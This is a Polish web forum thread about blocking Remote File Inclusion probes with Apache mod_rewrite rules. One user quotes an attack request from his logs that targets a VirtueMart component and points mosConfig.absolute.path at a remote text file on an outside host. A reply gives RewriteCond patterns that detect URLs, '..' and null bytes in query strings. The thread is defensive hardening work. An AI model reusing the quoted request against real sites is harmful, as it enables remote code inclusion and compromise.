mod rewrite i mosConfig_absolute_path

[tosik]

Witam. Ostatnio dręczą mnie jakieś smętne ludzie zapytaniami typu:

https://tosiek.pl//components/com_virtuemart/show_image_in_imgtag.php?mosConfig.absolute.path=https://nic.bupt.edu.cn/media/id1.txt??

Mógłby mi ktoś powiedzieć czemu taki zachłanny mod rewrite nie wyłapuje tego adresu?

RewriteRule ^(.*)http(.*)\.txt(.*)$ /nieistotne [L,NC]

Ja już nie mam pomysłów, bardziej zachłannej reguły nie napisze ;/

[SirZooro]

Wszystko co jest po pytajniku nie łapie się na RewriteRule, trzeba sprawdzać QUERY_STRING w RewriteCond. Ja używam coś takiego:

# Wszystkie ataki Remote File Inclusion i (niektore) Local File Inclusion
RewriteCond %{QUERY_STRING} https?:// [NC,OR]
RewriteCond %{QUERY_STRING} \.\. [OR]
RewriteCond %{QUERY_STRING} %00$
RewriteRule .* - [F,L]

[tosik]

A mógłbyś sprawdzić czy moze przepisać ten adres na jakiś skrypt php?

bo umnie takie cos wywoluje blad 500

RewriteCond %{QUERY_STRING} https?:// [NC,OR]
RewriteCond %{QUERY_STRING} \.\. [OR]
RewriteCond %{QUERY_STRING} %00$
RewriteRule .* /skrypt.php [L]